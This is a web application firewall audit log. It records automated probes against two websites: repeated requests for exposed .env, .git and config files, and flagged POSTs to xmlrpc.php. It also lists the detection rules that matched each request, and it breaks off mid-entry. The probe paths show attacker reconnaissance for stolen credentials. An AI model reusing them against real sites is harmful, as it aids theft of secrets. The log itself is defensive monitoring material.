[16/Jun/2025:03:19:23.900260 +0530] aE8_4xAGYpjnkyifC9YhjAAAAAU 185.177.72.210 54028 127.0.0.1 7081 --9538bf50-B-- GET /:5000/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9538bf50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=59dd7df3bcb861460d0ac9651bf01b8e1750024163; expires=Sun, 15 Jun 2025 22:49:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9538bf50-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/library/.env"] [unique_id "aE8_4xAGYpjnkyifC9YhjAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024163247219 653106 (- - -) Stopwatch2: 1750024163247219 653106; combined=1923, p1=375, p2=1441, p3=0, p4=0, p5=106, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9538bf50-Z-- --f964bd63-A-- [16/Jun/2025:03:19:26.949246 +0530] aE8_5tkGqt_oHz6gRVdKYgAAAAw 185.177.72.210 54156 127.0.0.1 7081 --f964bd63-B-- GET /anaconda/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f964bd63-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca802f6a744b59390e76a310a45345171750024166; expires=Sun, 15 Jun 2025 22:49:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f964bd63-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/anaconda/.env"] [unique_id "aE8_5tkGqt_oHz6gRVdKYgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024166280966 668344 (- - -) Stopwatch2: 1750024166280966 668344; combined=1873, p1=361, p2=1404, p3=0, p4=0, p5=107, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f964bd63-Z-- --12a9c042-A-- [16/Jun/2025:03:19:30.065818 +0530] aE8_6RAGYpjnkyifC9YhjwAAAAU 185.177.72.210 54294 127.0.0.1 7081 --12a9c042-B-- GET /.git/hooks/pre-push HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12a9c042-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=570457e7994a4d6cd55b5481802269b01750024169; expires=Sun, 15 Jun 2025 22:49:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12a9c042-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/pre-push"] [unique_id "aE8_6RAGYpjnkyifC9YhjwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024169253443 812462 (- - -) Stopwatch2: 1750024169253443 812462; combined=1563, p1=348, p2=1117, p3=0, p4=0, p5=98, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12a9c042-Z-- --e475667f-A-- [16/Jun/2025:03:19:31.068609 +0530] aE8_6n2GhYywD7zZgx77hAAAAAM 185.177.72.210 52574 127.0.0.1 7081 --e475667f-B-- GET /:10000/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e475667f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c467003c0f1c93dda390e4b02704f9c1750024170; expires=Sun, 15 Jun 2025 22:49:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e475667f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/courrier/.env"] [unique_id "aE8_6n2GhYywD7zZgx77hAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024170434124 634572 (- - -) Stopwatch2: 1750024170434124 634572; combined=1609, p1=338, p2=1177, p3=0, p4=0, p5=94, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e475667f-Z-- --db1e1602-A-- [16/Jun/2025:03:19:33.051905 +0530] aE8_7H2GhYywD7zZgx77hQAAAAM 185.177.72.210 52638 127.0.0.1 7081 --db1e1602-B-- GET /.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --db1e1602-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0358f864187a35ae0ddfc4962dbb4efe1750024172; expires=Sun, 15 Jun 2025 22:49:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --db1e1602-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.config"] [unique_id "aE8_7H2GhYywD7zZgx77hQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024172397767 654210 (- - -) Stopwatch2: 1750024172397767 654210; combined=1570, p1=283, p2=1186, p3=0, p4=0, p5=100, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db1e1602-Z-- --03102070-A-- [16/Jun/2025:03:19:44.705272 +0530] aE8_-BAGYpjnkyifC9YhmAAAAAU 185.177.72.210 33244 127.0.0.1 7081 --03102070-B-- GET /web.config.temp HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03102070-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db96b2aebe07a7223afe0b97f8a642c91750024184; expires=Sun, 15 Jun 2025 22:49:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03102070-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config.temp"] [unique_id "aE8_-BAGYpjnkyifC9YhmAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024184039230 666105 (- - -) Stopwatch2: 1750024184039230 666105; combined=1891, p1=383, p2=1419, p3=0, p4=0, p5=88, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03102070-Z-- --deb2ef32-A-- [16/Jun/2025:03:19:46.677040 +0530] aE8_-orLgrklqy57Kk2dkAAAAAg 185.177.72.210 33320 127.0.0.1 7081 --deb2ef32-B-- GET /:8880/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --deb2ef32-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4db1fad8fe16fc52cc65ebedd07da14c1750024186; expires=Sun, 15 Jun 2025 22:49:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --deb2ef32-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/core/.env"] [unique_id "aE8_-orLgrklqy57Kk2dkAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024186006097 671016 (- - -) Stopwatch2: 1750024186006097 671016; combined=1712, p1=367, p2=1259, p3=0, p4=0, p5=86, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --deb2ef32-Z-- --55433c68-A-- [16/Jun/2025:03:19:56.393679 +0530] aE9AA1R6EeXjkGzEkblmTgAAAAs 128.199.112.101 35660 127.0.0.1 7081 --55433c68-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --55433c68-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --55433c68-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9AA1R6EeXjkGzEkblmTgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024195449172 944581 (- - -) Stopwatch2: 1750024195449172 944581; combined=2362, p1=396, p2=1528, p3=49, p4=69, p5=196, sr=120, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55433c68-Z-- --cea89828-A-- [16/Jun/2025:03:20:44.854743 +0530] aE9ANENwpNEMJppxC49TUQAAAAI 185.177.72.210 36730 127.0.0.1 7081 --cea89828-B-- GET /server/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cea89828-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7848066c4bcb0a189bbea16f8ad862ea1750024244; expires=Sun, 15 Jun 2025 22:50:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cea89828-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/server/config/.env"] [unique_id "aE9ANENwpNEMJppxC49TUQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024244168175 686641 (- - -) Stopwatch2: 1750024244168175 686641; combined=1675, p1=390, p2=1186, p3=0, p4=0, p5=99, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cea89828-Z-- --ed86be3f-A-- [16/Jun/2025:03:20:56.296714 +0530] aE9AP32GhYywD7zZgx77qgAAAAM 128.199.112.101 54224 127.0.0.1 7081 --ed86be3f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ed86be3f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ed86be3f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9AP32GhYywD7zZgx77qgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024255354150 942620 (- - -) Stopwatch2: 1750024255354150 942620; combined=2508, p1=394, p2=1683, p3=49, p4=69, p5=190, sr=106, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed86be3f-Z-- --17ead53b-A-- [16/Jun/2025:03:21:14.754376 +0530] aE9AUrsEVBap6l1Fvp1BmwAAAAQ 185.177.72.210 37940 127.0.0.1 7081 --17ead53b-B-- GET /bak/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --17ead53b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=63fca18e2cdee6f322dd9222a61abecf1750024274; expires=Sun, 15 Jun 2025 22:51:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --17ead53b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/private/.env.local"] [unique_id "aE9AUrsEVBap6l1Fvp1BmwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024274087376 667063 (- - -) Stopwatch2: 1750024274087376 667063; combined=1857, p1=378, p2=1382, p3=0, p4=0, p5=97, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --17ead53b-Z-- --eb460a49-A-- [16/Jun/2025:03:21:24.167413 +0530] aE9AW7sEVBap6l1Fvp1BnwAAAAQ 185.177.72.210 60894 127.0.0.1 7081 --eb460a49-B-- GET /parity/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb460a49-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=384016a135a89fab0e7693b0f3e878071750024284; expires=Sun, 15 Jun 2025 22:51:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb460a49-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/parity/.env"] [unique_id "aE9AW7sEVBap6l1Fvp1BnwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024283514253 653225 (- - -) Stopwatch2: 1750024283514253 653225; combined=1678, p1=359, p2=1234, p3=0, p4=0, p5=84, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb460a49-Z-- --3996e851-A-- [16/Jun/2025:03:21:34.122173 +0530] aE9AZTS0ae_06VU86h78jgAAAAA 185.177.72.210 53720 127.0.0.1 7081 --3996e851-B-- GET /:8080/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3996e851-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d134c4884111101b5454a56a6730b1951750024293; expires=Sun, 15 Jun 2025 22:51:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3996e851-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.development"] [unique_id "aE9AZTS0ae_06VU86h78jgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024293428060 694176 (- - -) Stopwatch2: 1750024293428060 694176; combined=1651, p1=380, p2=1177, p3=0, p4=0, p5=94, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3996e851-Z-- --50019d29-A-- [16/Jun/2025:03:21:40.825949 +0530] aE9AbDS0ae_06VU86h78kQAAAAA 185.177.72.210 45052 127.0.0.1 7081 --50019d29-B-- GET /:8181/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --50019d29-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a82324a443cb21e96ad92a7b38977571750024300; expires=Sun, 15 Jun 2025 22:51:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --50019d29-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity 